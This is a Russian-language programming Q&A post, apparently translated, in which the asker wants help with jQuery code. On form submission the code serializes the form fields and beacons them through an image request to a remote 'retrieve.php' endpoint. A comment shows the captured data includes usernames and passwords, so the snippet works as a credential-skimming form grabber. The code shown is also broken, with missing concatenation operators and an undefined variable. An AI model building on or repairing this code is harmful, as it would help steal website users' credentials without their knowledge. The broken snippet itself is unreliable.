Ошибка при попытке выполнить новый запрос Img.src() со значением переменной Javascript

#javascript

#javascript

Вопрос:

У меня есть часть моего кода Javascript, который собирает некоторую информацию и отправляет ее на сервер, как только пользователь отправляет форму на веб-сайте:

 var a = {"Event":"Form", "Current":document.URL, "Info":$(this).attr('action')};
$.each($(this).serializeArray(), function(i, f) { l[f.name] = f.value; });
new Image().src = "http://website.com/config/php_conf/retrieve.php?data="  "Current:"   document.URL   "Info:"   $(this).attr('action');
  

Проблема в третьей строке, как я могу включить $(this).attr('action') отправку на сервер так же, как document.URL отправляется без каких-либо проблем. На сервере я извлекаю документ.Значение URL, но я ничего не извлекаю $(this.attr('action') .

Я попытался заменить третью строку следующим кодом:

new Image().src = "http://website.com/config/php_conf/retrieve.php?data=" a;

Тем не менее, я не решил эту проблему, потому что в журналах сервера я получил [object][object] результаты as.

Я очень новичок в Javascript, поэтому буду признателен за любую помощь.

Комментарии:

1. Как должен выглядеть URL-адрес?

2. Запрос будет выглядеть примерно так: website.com/config/php_conf/… В браузере код работает отлично, появится $(this.attr(‘action’): « Цель: имя пользователя: привет, пароль: секрет «

3. Добавление учетных данных в URL-адрес не является хорошей идеей